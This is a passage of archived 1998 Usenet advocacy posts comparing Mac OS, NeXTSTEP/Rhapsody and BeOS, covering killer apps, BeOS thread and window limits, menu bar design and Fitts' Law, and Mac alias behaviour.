References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <6op87l$9hq$1@nnrp1.dejanews.com> <35B08C8B.7E9A@REMOVE.wayne.edu> <6ovif5$mto$2@news.spacelab.net>
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Charles W. Swiger wrote:
> Eric Iverson <eric_iverson@REMOVE.wayne.edu> wrote:
> [ ... ]
> >What was the Macintosh's killer app? MacPaint? MacLogo?
>
> Originally? MacWrite.
> Later on, various Adobe apps and the Apple LaserWriter.
I always thought the killer app on the Mac was Aldus PageMaker. As
soon as that, and the original LaserWriter came out, things
really started happening. If there ever was an app that turned
heads it was Aldus PageMaker.
This was back in the days when you could run page layout software
on a Mac Plus with a Meg of RAM and two floppy drives...and a
$7000US LaserWriter.
Mike
From: "Mark Micklich" <SRFPCI1@pacbell.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: NT Takes Down the Navy, Sleep Well, America...
Date: Tue, 21 Jul 1998 12:13:31 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6p2pia$rp2$1@nnrp1.snfc21.pbi.net>
References: <6p2iih$6k3@bgtnsc03.worldnet.att.net> <6p2kcq$kht$2@supernews.com>
>Has anyone who has ever worked with a network of NEXTSTEP, or any other
Unix
>machines, ever known it to go down because a database had a faulty value in
>one of its fields?
Embedded systems are quite capable of crashing if the "divide by zero" issue
has not been addressed -- and most embedded systems don't even HAVE
operating systems!
Before all MacUsers point the finger at NT, this situation is due to bad
programming (like the Y2K issue). It could have happened with any OS,
including MacOS. The "database" used in this context was a "master
controller" used by Navy personnel to manage ship operations at a
high-level. If you don't take care of exception-handling, this is the stuff
that happens folks, I don't care what OS you use.
The problem is not NT -- it's poor engineering design. I'm not defending
NT, but if MacOS was used, the exact same situation could have happened and
JoeR would immediately jump in with the same defense I just described. If
you don't have complete exception-handling, crashes will happen. There are
many stories of this nature, and many of them have nothing to do with NT.
From: chrish@qnx.com (Chris Herborth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 21 Jul 1998 10:53:45 -0400
Organization: QNX Software Systems
Message-ID: <6p2a1p$g2l@qnx.com>
References: <35AD3399.FF0BD03D@rauland.com> <6p0me6$qrb$1@nntp2.ba.best.com> <Pine.BOS.3.96.980720194737.225A- <6p0scs$1ab$1@nntp2.ba.best.com>
In article <6p0scs$1ab$1@nntp2.ba.best.com>,
Kenneth C. Dyke <kcd@babylon5.jumpgate.com> wrote:
> On 07/20/98, Tyler Riti wrote:
> >
> >Unlike Apple, Be listens to their developers. ^_^
>
> Yeah, obviously Apple wasn't listening at all when they decided to do
> Carbon to assist existing MacOS developers instead of forcing them to
> rewrite everything. They also apparently weren't listening when they
> added stuff like NSDocument, NSWindowManager, NSUndoManager, etc. to
> DR2 YellowBox.
So, how many OS and API directions has Apple pursued in the past five
years?
> They also weren't listening to users when they upgraded the modem in
> the iMac to 56k from 33.6k.
Did users and developers want clones? I guess so, if they were
"stealing" Apple's sales...
--
----------================================================---------- _
Chris Herborth, R&D Technical Writer (chrish@qnx.com) | \ _
QNX Software Systems, Ltd. Arcane Dragon -==(UDIC)==- | < /_\
http://www.qnx.com/~chrish/ DNRC Holder of Past Knowledge |_/ \_
From: chrish@qnx.com (Chris Herborth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 21 Jul 1998 10:51:13 -0400
Organization: QNX Software Systems
Message-ID: <6p29t1$g43@qnx.com>
References: <35AD3399.FF0BD03D@rauland.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p064q$1pd$1@nnrp03.primenet.com> <Pine.LNX.3.96.980720160809.204M-100000@dunce.cs.utexas.edu>
In article <Pine.LNX.3.96.980720160809.204M-100000@dunce.cs.utexas.edu>,
Tyler Riti <fizzboy@mail.utexas.edu> wrote:
> Forgive me for jumping in late, I leave for the weekend and suddenly
> c.s.b.a has been flooded with cross-posts. Anyways, how did Mr. Kenneth
> Dyke arrive at the conclusion that the BeOS had a limit on the number of
> windows? AFAIK, in the BeBook, it doesn't mention any sort of limit. The
> only thing I can think of is the limit on the number of threads which is
> somewhere around 4096, IIRC. Since each window spawns its own thread,
> theoretically, there is a limit of 4096 windows. In reality, that isn't
> true since there are most likely other threads running at any given time.
The problem has more to do with not being able to specify a stack size
for threads; each window spawns two threads (one in the app and one in
the app_server), and each thread in the system is given a 256k stack (I
think; it used to be 64k, but that's way too low for some useful apps).
So, you run out of RAM and swap space (it's not actually _filled_, but
it's allocated to all those thread stacks) long before you actually
allocate that much memory. It's not being used, but it's been reserved
for thread stacks.
If you think this stinks, tell Be you want configurable stacks sooner
rather than later; this is on Be's TODO list, but it's a very low
priority. It'll really suck for network server writers who want to
spawn a thread per socket... It also sucks when you run into those rare
weird apps that require stacks larger than 256k...
--
----------================================================---------- _
Chris Herborth, R&D Technical Writer (chrish@qnx.com) | \ _
QNX Software Systems, Ltd. Arcane Dragon -==(UDIC)==- | < /_\
http://www.qnx.com/~chrish/ DNRC Holder of Past Knowledge |_/ \_
From: chrish@qnx.com (Chris Herborth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go
Date: 21 Jul 1998 10:57:19 -0400
Organization: QNX Software Systems
Message-ID: <6p2a8f$43q@qnx.com>
References: <35AD3399.FF0BD03D@rauland.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <35B43394.B713C776@scirocco.bbn.hp.com> <6p1hmj$mv3$1@news2.ispnews.com>
In article <6p1hmj$mv3$1@news2.ispnews.com>,
Earl Malmrose <malmrose@nospam.jetcity.com> wrote:
> Joerg Stegemann <stegeman@scirocco.bbn.hp.com> :
> > Corey wrote:
> > > And if you really want to get down to it, it's probably pretty reasonable
> > > to limit the amount of open windows down to a *mere* 200 - I mean, any
> > > program that produces more than just a couple handfulls should be shot
> > > and killed on the spot.
> >
> > When every off-screen bitmap uses a thread then you don't need 200 visible
> > windows, one app that uses a lot of off-screen bitmaps (games maybe ?)
> > can get you into trouble very easily.
>
> If you plan on having a ton of off-screen bitmaps, then choose the right tool
> for the job, not a BBitmap that uses a thread.
But BBitmap exists so we don't all have to write our own line/rect/etc.
primitives for working in bitmaps... so, it's usually the right tool for
the job, unless you're doing something special like a game.
--
----------================================================---------- _
Chris Herborth, R&D Technical Writer (chrish@qnx.com) | \ _
QNX Software Systems, Ltd. Arcane Dragon -==(UDIC)==- | < /_\
http://www.qnx.com/~chrish/ DNRC Holder of Past Knowledge |_/ \_
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 21 Jul 1998 11:48:11 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2107981148110001@news>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu>
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In article <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> Anyway, another area that needs to be fixed is Open/Save dialogs and the
> pervasive use of system modal dialogs all over.
Already fixed in 8.5.
> The menu system could be better. Having a menu bar that stretches across
> the entire screen wastes space particularly on large screens where there
> are far too few menu choices to fill up even a majority of the space.
Well, one could argue that the larger the screen, the smaller the
percentage of the screen that is wasted....
> See http://www.ews.uiuc.edu/~tokarek/rhapsody/ for something that
> might be better.
Why not just have a partially-transparent menu bar where there are no
menus? That would be a lot simpler (and a lot less cluttered) than your
proposed solution.
> The Macintosh menu bar wastes space. Particularly on large screens, there
> is space that cannot be used by anything else where there are no menu
> choices and there is only blank menu space.
Transparent or translucent menu bar where there are no menus.
> No non-submenu invoking choices can (well should) be in the bar (root
> menu) even though this would be good for organizational purposes.
Ech, no. This is not a good UI idea. If it needs to be accessed quickly,
make a button in the UI, or a command key shortcut.
> In my proposal, there are indicators of precisely which menu choices will
> bring up submenus and which will perform some action. This way, the root
> menu can have non-submenu invoking choices. The distinction betweent the
> two is clear.
But having non-submenu choices in the MENU bar is confusing and cluttered.
Right now, people can run their mouse along the menu bar with the button
held down to look at all the submenus. With your proposal, they'd run the
mouse along, and WHOOPS! I just activated a button!
Oh, and those submenu indicators look terrible. The current Mac ones look
better, and are unnecessary in the main menu bar.
> Both orientations of my proposal take less screen space than the common
> menu bar.
I agree that the option of Next-style menus would be good.
> There are visual cues given for how the submenus can be torn off.
>
> The submenus can be torn off.
Tearable menus have been available for the Mac for a while, with all the
extra graphical widgets that your proposal uses.
> Umm... it looks prettier. :)
For someone who complains about fancy buttons and widgets in the Mac OS,
I'd think you'd see that your proposal suffers from the same problems, but
worse. Those neat gradients sure do make the menus difficult to look at.
> The improvements I have in mind are not necessarily the best. I do not
> have a monopoly on good ideas (or bad ones either ;). I am just saying
> that there are problems with many facets to the Mac OS that _could_ be
> addressed. Apple seems to be addressing some of them with Mac OS 8.5 and
> such, but there are a lot left that need to be better done before I think
> they can say that they have the best UI in the world and be proud of it.
I agree that many could be addressed, but I also agree that the Mac OS is
still the best UI in the world.
> Apple has largely sat on its hands while others expand and enhance their
> UIs.
But others have largely started off at a much lower level than the Mac OS,
and have hence had more work to do just to catch up.
Andy Bates.
From: Earl Malmrose <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 21 Jul 1998 18:54:53 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <6p2o5t$pr9$1@news5.ispnews.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <stone-ya02408000R2007981011080001@news.enetis.net>
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NNTP-Posting-Date: 21 Jul 1998 18:54:53 GMT
stone@stoneentertainment.com (Kevin Stone) :
>
> If the OS dosn't allow you to open any more windows, then it's a
> limitation. If the OS hangs due to opening too many windows, then it's a
> bug.
Good point. It is a bug, but its dealing with an extreme case.
--
--Woohoo, this message posted from BeOS!
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 21 Jul 1998 10:50:11 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980721103837.9943C-100000@ux7.cso.uiuc.edu>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <JWMs1.1091$E5.6247799@proxye1.san.rr.com> <ericb-2007982116410001@128.84.203.147> <PbVs1.1389$E5.6653879@proxye1.san.rr.com>
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On Tue, 21 Jul 1998, Ed Deans. wrote:
> Eric Bennett wrote in message ...
> >In article <JWMs1.1091$E5.6247799@proxye1.san.rr.com>, "Ed Deans."
> ><eadeans@san.rr.com> wrote:
> >
> >> Aliases are "dumb"--not working across volumes.
> >
> >What exactly do you mean by this? Aliases work across volumes and file
> >servers too.
>
> Unless something changed very recently if I drag the original over to a new
> volume and delete the old one (because the Mac doesn't let me move between
> volumes) the alias no longer points to the item. The problem here is
> because it depends on file ID numbers which are volume dependant. Sure if I
> create the alias on the volume that contains the original and copy the alias
> where I want it, I'm OK. Just don't move the original to another volume or
> you're sunk. :(
Umm...
So you are saying that when you delete the original file that the alias
should still point to it? That _is_ what you are saying. Draging a file to
another volume _copies_ the file to the other volume. That's why you see
the copy window come up. The alias still points to the original file at
this point. The original file is still there and now there is a _copy_ of
that file on the volume you just dragged the file to.
Do you _expect_ the alias to still point to the original when you delete
it? It's not gonna happen.
If Apple ever changes the Mac OS to be able to _move_ a file from one
volume to another (from a user perspective), then you can start
complaining that aliases don't follow the originals, but right now,
aliases work as they're supposed to. They are not dumb in the way you say
they are.
> Hmmm...can I drop an alias to my desktop printer into an email and sent it
> to someone on my network? AFAIK, nothey have to goto the chooser to connect
> to it once it's shared.
I don't know about desktop printers, but so long as you are on the network
and the other person's machine has the permissions to access the
file/folder you created an alias for, then yes. The person you sent the
alias to can access that file/folder.
I don't use desktop printers so I don't know whether aliases would work
that way.
> Aliases aren't cleaned up when all copies of original item have been
> deleted.
I'm not sure that they should be.
> >In many situations, they can even work when you reformat a drive with a
> >new name and then restore the old hierarchy of files and directories.
>
> That's only because the file ID numbers were preserved in the backup.
No, it's because the alias stores more than just the file ID. It also
stores a path. When you "restore the old heirarchy of files and
directories", you provide the same access path for the alias to work. The
file IDs change when they are copied back onto the newly formatted drive.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <JWMs1.1091$E5.6247799@proxye1.san.rr.com> <ericb-2007982116410001@128.84.203.147> <PbVs1.1389$E5.6653879@proxye1.san.rr.com> <Pine.SOL.3.96.980721103837.9943C-100000@ux7.cso.uiuc.edu>
Subject: Re: Mac OS X UI
Message-ID: <hq6t1.1443$E5.7159109@proxye1.san.rr.com>
Date: Tue, 21 Jul 1998 19:59:09 GMT
NNTP-Posting-Date: Tue, 21 Jul 1998 12:59:09 PDT
Organization: TWC Road Runner, San Diego, CA
Pulsar wrote in message ...
>On Tue, 21 Jul 1998, Ed Deans. wrote:
>
>> Eric Bennett wrote in message ...
>> >In article <JWMs1.1091$E5.6247799@proxye1.san.rr.com>, "Ed Deans."
>> ><eadeans@san.rr.com> wrote:
>> >
>> >> Aliases are "dumb"--not working across volumes.
>> >
>> >What exactly do you mean by this? Aliases work across volumes and file
>> >servers too.
>>
>> Unless something changed very recently if I drag the original over to a
new
>> volume and delete the old one (because the Mac doesn't let me move
between
>> volumes) the alias no longer points to the item. The problem here is
>> because it depends on file ID numbers which are volume dependant. Sure
if I
>> create the alias on the volume that contains the original and copy the
alias
>> where I want it, I'm OK. Just don't move the original to another volume
or
>> you're sunk. :(
>
>Umm...
>
>So you are saying that when you delete the original file that the alias
>should still point to it? That _is_ what you are saying. Draging a file to
>another volume _copies_ the file to the other volume. That's why you see
>the copy window come up. The alias still points to the original file at
>this point. The original file is still there and now there is a _copy_ of
>that file on the volume you just dragged the file to.
>
>Do you _expect_ the alias to still point to the original when you delete
>it? It's not gonna happen.
>
>If Apple ever changes the Mac OS to be able to _move_ a file from one
>volume to another (from a user perspective), then you can start
>complaining that aliases don't follow the originals, but right now,
>aliases work as they're supposed to. They are not dumb in the way you say
>they are.
Can't anyone read in this group anymore.
Clearly I want a way to move the original. It's impossible to move the
original without breaking all of the aliases and requiring you to recreate
them. The only way to effectively move the original is to make a copy and
delete the original. AFAIK, if the alias is broken I don't have a chance to
point it to the new location (the new volume) without using a third party
utility.
>> Hmmm...can I drop an alias to my desktop printer into an email and sent
it
>> to someone on my network? AFAIK, nothey have to goto the chooser to
connect
>> to it once it's shared.
>
>I don't know about desktop printers, but so long as you are on the network
>and the other person's machine has the permissions to access the
>file/folder you created an alias for, then yes. The person you sent the
>alias to can access that file/folder.
Have you tried this or just saying that in theory it ought to work?
>I don't use desktop printers so I don't know whether aliases would work
>that way.
Any one else care to take a crack at that one?
>> Aliases aren't cleaned up when all copies of original item have been
>> deleted.
>
>I'm not sure that they should be.
Please tell me you are kidding. What good does an alias do if I've no
longer got the original item? They should vanish with the original (unless
the original is not local and that volume has not be mounted).
>> >In many situations, they can even work when you reformat a drive with a
>> >new name and then restore the old hierarchy of files and directories.
>>
>> That's only because the file ID numbers were preserved in the backup.
>
>No, it's because the alias stores more than just the file ID. It also
>stores a path. When you "restore the old heirarchy of files and
>directories", you provide the same access path for the alias to work. The
>file IDs change when they are copied back onto the newly formatted drive.
Doesn't the path include the volume name? I jumped the gun and assumed they
kept the file id but I suppose that wouldn't make sense now would it. I
should have checked out that behavior before making my statement. If you
didn't restore the hierarchy *exactly* would the alias still work?
Clarification: Are you talking about restoring via backup software or just
copying a backup via the Finder?
--Ed.
Doesn't bother with backup software on his Mac(s)
From: "=?iso-8859-1?Q?J=F3n_Ragnarsson?=" <jonr@vortex.is>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net> <35aed9f5.59069898@news.euronet.be> <gmgraves-1707981122300001@sf-pm5-10-74.dialup.slip.net>
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Tue, 21 Jul 1998 20:01:43 -0000
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George Graves wrote in message ...
>In article <35aed9f5.59069898@news.euronet.be>,
>drooling.idiot.nospam@euronet.be wrote:
>
>> gmgraves@slip.net (George Graves) wrote:
>>
>> >You don't get it. Sun, HP, and SGI DO have support from major players.
>> >They aren't necessariliy the SAME major players that are in the office
>> >computer market, but they are major players nonetheless. Care to tell
>> >me the names of any REAL, useful software on Be?
>> >
>>
>> Here;s a novel idea, if you don't like BeOS and have some sort of
>> problem with it don't use it. I don't see anybody forcing you to.
>
>Here's another novel idea: get a clue. We were talking about the efficacy
>of alternative OSes to the mainstream ones. I was pointing out Be's
>deficiencies in that context. An OS without software is as useful as a
>car without gas. No matter how good it is, what features it has, they
>won't do you any good if you can't (A) get work done with it, and (B)
>share that work with other computers. In case you haven't noticed, Be
Gee, I guess that my car runs on water. :)
(A) I use BeOS to read my mail, news, and browse the web. NT (on the same
machine) doesn't even talk to my modem. (declares it broken!)
Plus I program in Perl and PL/SQL. BeOS can telnet just as well as NT.
(In fact, it does it much better) ;>
>still falls short in both of these arenas. Maybe someday though.......
Of course, if you program W32 for a living, BeOS is not much use for
you (except showing how your work could be sooo much easier).
I guess I like computers/oses for what they are, not because what work I
can do on them.
(Raise a hand everybody who actually like MS Word)
Jón R.
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 21 Jul 1998 15:09:28 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980721144202.19564A-100000@ux7.cso.uiuc.edu>
References: <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <1dcj69z.1o563yq97eq68N@rhrz-isdn3-p14.rhrz.uni-bonn.de>
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On Tue, 21 Jul 1998, Michael Schuerig wrote:
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > On Tue, 21 Jul 1998, Michael Schuerig wrote:
> >
>
> > > And it is being fixed. I mean, as if you wouldn't know that Mac OS 8.5
> > > will have Navigation Services. Of course I agree that modal dialogs are
> > > bad in most cases, but _I_ don't see why I should complain about
> > > StandardFile dialogs _now_. Very soon it's an annoyance of the past.
> >
> > Not really. Applications will have to be modified to support Navigations
> > Services. None of the applications you have installed on your machine now
> > will support that when you plop Mac OS 8.5 on your machine.
>
> You can bet that someone will put out an extension that transparently
> slips in Nav Services for apps that don't support them, yet.
That's doubtful. Even if they get some of the look down, they will most
likely be unable to make them non-system modal. That is the biggest flaw
to the current Open/Save dialogs (IMO).
> > Furthermore, it has taken Apple 14 and a half years to fix this. This has
> > always been high on the list of complaints about the Mac UI for as long as
> > I remember. There is no reason why we couldn't have had something like
> > Navigation Services years ago. Apple just futzed away with other things.
>
> And there is no reason to continue complaining. I don't understand what
> you're trying to achieve that way. Or are you simply venting your bad
> mood that it took so long?
There's certainly a venting aspect.
There will still be a reason to complain since support for Navigation
Services will be spotty at best. Eventually most apps will switch over,
but we will have to deal with the old style ones for quite a while
yet.
> > > > The menu system could be better. Having a menu bar that stretches across
> > > > the entire screen wastes space particularly on large screens where there
> > > > are far too few menu choices to fill up even a majority of the space.
> > > >
> > > > See http://www.ews.uiuc.edu/~tokarek/rhapsody/ for something that
> > > > might be better.
> > >
> > > You sure have heard about Fitts' Law?
> >
> > Fitt's Law?
>
> Paul M. Fitts
> "The Information Capacity of the Human Motor System in Controlling the
> Amplitude of Movement"
> _Journal of Experimental Psychology_, Vol. 47, No. 6, June 1954
>
> What it comes down to is this: The "information capacity" of our motor
> system is limited. The faster a movement is executed and the more
> alternative movements there are, the higher the information capacity has
> to be.
>
> It bears on menubars, in that there are fewer movement alternatives for
> a global menubar than for one floating somewhere in the middle of the
> screen.
Ah. What I envision for this menu system is to have the sides of the
screen be sticky so that the menu window can be anchored more easily in a
corner or to any particular side. While the user can choose to have his
menu window somewhere in the middle of the screen, that won't be required
and is not likely to be the most common placement by users.
> > > But anyway, a more flexible menu
> > > system would be a plus. So that anyone can configure it to their hearts
> > > content. If it means that I can have the menus the way I like them and
> > > you can have the menus the way you like them -- fine.
> >
> > Yes, but what are we getting? Are we getting the ability to do what's on
> > that page above? Or are we just getting the same old Mac UI?
>
> Complain to Apple. Start a petition.
Indeed.
> > > What I find curious is, that all of your suggested changes are
> > > incremental.
> >
> > Why is that curious?
>
> Because you seemed to start out far more radical.
I admitted that they were incremental and that I didn't have any real
ideas for what would be a great leap. If I did know a great idea that
would far surpass anything we have now and introduce a new way of working
with computers, I'd be rich (or rather on my way to being rich).
I would like to see something radically different and I do not think that
familiarity and the belief that the Mac UI works well should be a barrier
to discussion of something radically different (even if I have nothing
specific to add to such a discussion at the moment).
I do believe that there are serious flaws in the Mac UI that could be
addressed. For a few things I have ideas, others are soon to be addressed,
and other things I don't have any idea what to do about.
Apple started off with the Mac by introducing a revolutionary concept to
the computer world. Instead of continuing the revolution or rekindling it
at some point, Apple has stagnated. The Mac UI's improvements have not
leapfrogged the competition. Other OSes have caught up in a lot of ways
and I'd like to see Apple at least fix the problems in the Mac UI even if
it has nothing revolutionary to introduce. Apple's current focus seems to
be on slapping different faces on the same old behaviors and making things
cluttered and ugly. I do not like the new themes that I've seen. Though I
sure Kaleidoscope is a great product for some people, I have seen nothing
that adds significantly to the UI. All the schemes and themes or whatever
do is paint over what we have and sometimes doing a terrible job of it.
Some of them are kind of pretty, but not very functional. Others are
downright bad.
> > Indeed. Now ask yourself why Apple isn't exploring these things? Why are
> > we going to be stuck with a Mac UI that still has a lot of problems?
>
> Dunno. What do you think?
I think Apple has lost a lot of its drive to innovate in this area.
Apple's mishandling of Copland, a couple management changes and constant
restructuring have not helped, but there have been fewer and fewer useful
changes/fixes for the Mac UI. Most of what we have now is what we should
have had 4 years ago. The interesting things that Apple has introduced
(like OpenDoc fer instance) have been killed.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: "Brian Beck" <bbeck@indigo.ie>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 21 Jul 1998 21:14:38 +0000
Organization: Indigo
Message-ID: <bbeck-2107982114380001@ts03-096.dublin.indigo.ie>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <pxpst2-2007981409410001@pelli.pathology.pitt.edu> <joe.ragosta-2007982108170001@elk57.dol.net>
In article <joe.ragosta-2007982108170001@elk57.dol.net>, joe.ragosta@dol.net
(Joe Ragosta) wrote:
>> In article <not-2007981004090001@ip-26-136.phx.primenet.com>,
>> eilersm@psn.net wrote:
>>
>>
>> > Yes, but see above--Apple doesn't care a rats ass for a mac over 4
years
>> > old--they don't even get tech support. Try to call Apple right now and
ask
>> > them for help with your IIsi.
>
>The IIsi was discontinued in 1991 and is comparable to a 386. What major
>OS is supported by the vendor on a 386?
>
>--
>Regards,
>
>Joe Ragosta
>See the Complete Macintosh Advocacy Page
>http://www.dol.net/~Ragosta/complmac.htm
my venerable LClll 20/2.0 gig has been supported by apple for years -6
months ago they posted 7.5 to me for free and later fitted a new HD that I
got cheap for IR£25 ($36). They've always been helpful etc.
brian
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <andyba-ya02408000R0107981550100001@news> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <1dcj69z.1o563yq97eq68N@rhrz-isdn3-p14.rhrz.uni-bonn.de>
Subject: Re: Mac OS X UI
Message-ID: <OE6t1.1444$E5.7167658@proxye1.san.rr.com>
Date: Tue, 21 Jul 1998 20:14:38 GMT
NNTP-Posting-Date: Tue, 21 Jul 1998 13:14:38 PDT
Organization: TWC Road Runner, San Diego, CA
Michael Schuerig wrote in message
<1dcj69z.1o563yq97eq68N@rhrz-isdn3-p14.rhrz.uni-bonn.de>...
>> > >
>> > > See http://www.ews.uiuc.edu/~tokarek/rhapsody/ for something that
>> > > might be better.
>> >
>> > You sure have heard about Fitts' Law?
>>
>> Fitt's Law?
>
>Paul M. Fitts
>"The Information Capacity of the Human Motor System in Controlling the
>Amplitude of Movement"
>_Journal of Experimental Psychology_, Vol. 47, No. 6, June 1954
>
>What it comes down to is this: The "information capacity" of our motor
>system is limited. The faster a movement is executed and the more
>alternative movements there are, the higher the information capacity has
>to be.
>
>It bears on menubars, in that there are fewer movement alternatives for
>a global menubar than for one floating somewhere in the middle of the
>screen.
That must be exactly why Pink/Taligent dropped the global menu bar in favor
of the NeXT-style menu palette as default (the menu is configurable to an
Apple-style menu bar).
It must be why only Apple, among the commercial OS's with GUI's, is shipping
